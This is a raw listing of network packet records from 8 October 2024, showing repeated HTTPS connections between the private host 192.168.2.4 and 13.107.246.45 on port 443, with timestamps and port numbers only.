Oct 8, 2024 02:46:05.767992020 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.768071890 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.768071890 CEST	51347	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.768115044 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.768142939 CEST	443	51347	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.770298004 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.770320892 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.770395994 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.770531893 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.770555019 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.779768944 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.780522108 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.780535936 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.780662060 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.780667067 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.879168987 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.879218102 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.879306078 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.879415989 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.879431009 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.879446983 CEST	51354	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.879452944 CEST	443	51354	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.881736994 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.881827116 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:05.881903887 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.882005930 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:05.882029057 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.260025978 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.260595083 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.260679960 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.260922909 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.260937929 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.262541056 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.262765884 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.262782097 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.263050079 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.263060093 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.358242989 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.358414888 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.358584881 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.358637094 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.358637094 CEST	51357	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.358675957 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.358700991 CEST	443	51357	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.361418009 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.361464977 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.361536980 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.361664057 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.361677885 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.363363028 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.363532066 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.363600016 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.363636017 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.363636017 CEST	51358	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.363650084 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.363668919 CEST	443	51358	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.365628958 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.365715981 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.365799904 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.365936041 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.365962982 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.453155994 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.453679085 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.453741074 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.454121113 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.454134941 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.455969095 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.456307888 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.456325054 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.456722975 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.456737995 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.534383059 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.534778118 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.534841061 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.535162926 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.535176039 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.558589935 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.558660030 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.558725119 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.558835030 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.558835030 CEST	51359	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.558897018 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.558923006 CEST	443	51359	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.560560942 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.560631037 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.560695887 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.560900927 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.560900927 CEST	51360	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.560916901 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.560935020 CEST	443	51360	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.561709881 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.561755896 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.561824083 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.562028885 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.562048912 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.563293934 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.563328981 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.563380003 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.563523054 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.563535929 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.646936893 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.646998882 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.647064924 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.647182941 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.647182941 CEST	51361	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.647229910 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.647255898 CEST	443	51361	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.648888111 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.648916960 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:06.648977041 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.649075031 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:06.649091005 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.012073994 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.012562037 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.012645006 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.012953997 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.012969017 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.025497913 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.025913000 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.025979996 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.026278019 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.026292086 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.126570940 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.126727104 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.126873970 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.127186060 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.127218008 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.127255917 CEST	51363	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.127269983 CEST	443	51363	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.129669905 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.129714966 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.129801989 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.129944086 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.129952908 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.137152910 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.137229919 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.137294054 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.137357950 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.137392044 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.137438059 CEST	51362	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.137453079 CEST	443	51362	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.139287949 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.139337063 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.139421940 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.139547110 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.139563084 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.140292883 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.141290903 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.141290903 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.141303062 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.141311884 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.211168051 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.211535931 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.211556911 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.211884022 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.211889982 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.243458033 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.243568897 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.243824005 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.243824959 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.243824959 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.245362043 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.245395899 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.245456934 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.245548010 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.245553970 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.312823057 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.312881947 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.313043118 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.313509941 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.313534021 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.313549042 CEST	51364	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.313555956 CEST	443	51364	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.315891981 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.315911055 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.315994024 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.316139936 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.316144943 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.322652102 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.323355913 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.323357105 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.323396921 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.323425055 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.428101063 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.428174019 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.428237915 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.428556919 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.428576946 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.428668976 CEST	51366	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.428673983 CEST	443	51366	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.433322906 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.433366060 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.433798075 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.433798075 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.433831930 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.471501112 CEST	51365	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.471532106 CEST	443	51365	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.770555019 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.770998955 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.771027088 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.771378040 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.771390915 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.789021015 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.789829016 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.789829016 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.789870977 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.789889097 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.872370005 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.872522116 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.872601032 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.872678041 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.872699976 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.872713089 CEST	51367	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.872720003 CEST	443	51367	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.875042915 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.875091076 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.875159025 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.875277996 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.875284910 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.890300035 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.890440941 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.890522957 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.890522957 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.890552998 CEST	51368	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.890564919 CEST	443	51368	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.892231941 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.892276049 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.892446041 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.892546892 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.892555952 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.899748087 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.900070906 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.900090933 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.900443077 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.900449991 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.951097965 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.951421976 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.951451063 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:07.951744080 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:07.951750994 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.003398895 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.003482103 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.003575087 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.003602982 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.003623009 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.003638029 CEST	51369	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.003644943 CEST	443	51369	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.005218983 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.005261898 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.005323887 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.005414963 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.005429029 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.053916931 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.054130077 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.054303885 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.054303885 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.054303885 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.056026936 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.056067944 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.056148052 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.056262970 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.056269884 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.099613905 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.100512981 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.100513935 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.100549936 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.100563049 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.234210968 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.234349966 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.234406948 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.234473944 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.234497070 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.234508991 CEST	51371	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.234513998 CEST	443	51371	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.238205910 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.238241911 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.238328934 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.238452911 CEST	51376	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.238457918 CEST	443	51376	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.361072063 CEST	51370	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.361098051 CEST	443	51370	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.545766115 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.546277046 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.546339989 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.546669960 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.546684027 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.579370975 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.579734087 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.579761028 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.580091953 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.580096960 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.649480104 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.649554968 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.649759054 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.649794102 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.649794102 CEST	51372	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.649811029 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.649822950 CEST	443	51372	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.652503014 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.652543068 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.652622938 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.652786016 CEST	51377	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.652797937 CEST	443	51377	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.661114931 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.661442041 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.661470890 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.661820889 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.661828995 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.682641029 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.682708025 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.682760000 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.682845116 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.682858944 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.682884932 CEST	51373	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.682890892 CEST	443	51373	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.685015917 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.685055017 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.685127020 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.685287952 CEST	51378	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.685298920 CEST	443	51378	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.731812954 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.732253075 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.732311964 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.732640028 CEST	51375	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.732652903 CEST	443	51375	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.771603107 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.771729946 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.771776915 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.771903992 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.771912098 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.772000074 CEST	51374	443	192.168.2.4	13.107.246.45
Oct 8, 2024 02:46:08.772006035 CEST	443	51374	13.107.246.45	192.168.2.4
Oct 8, 2024 02:46:08.774797916 CEST	51379	443	192.168.2.4	13.107.246.45
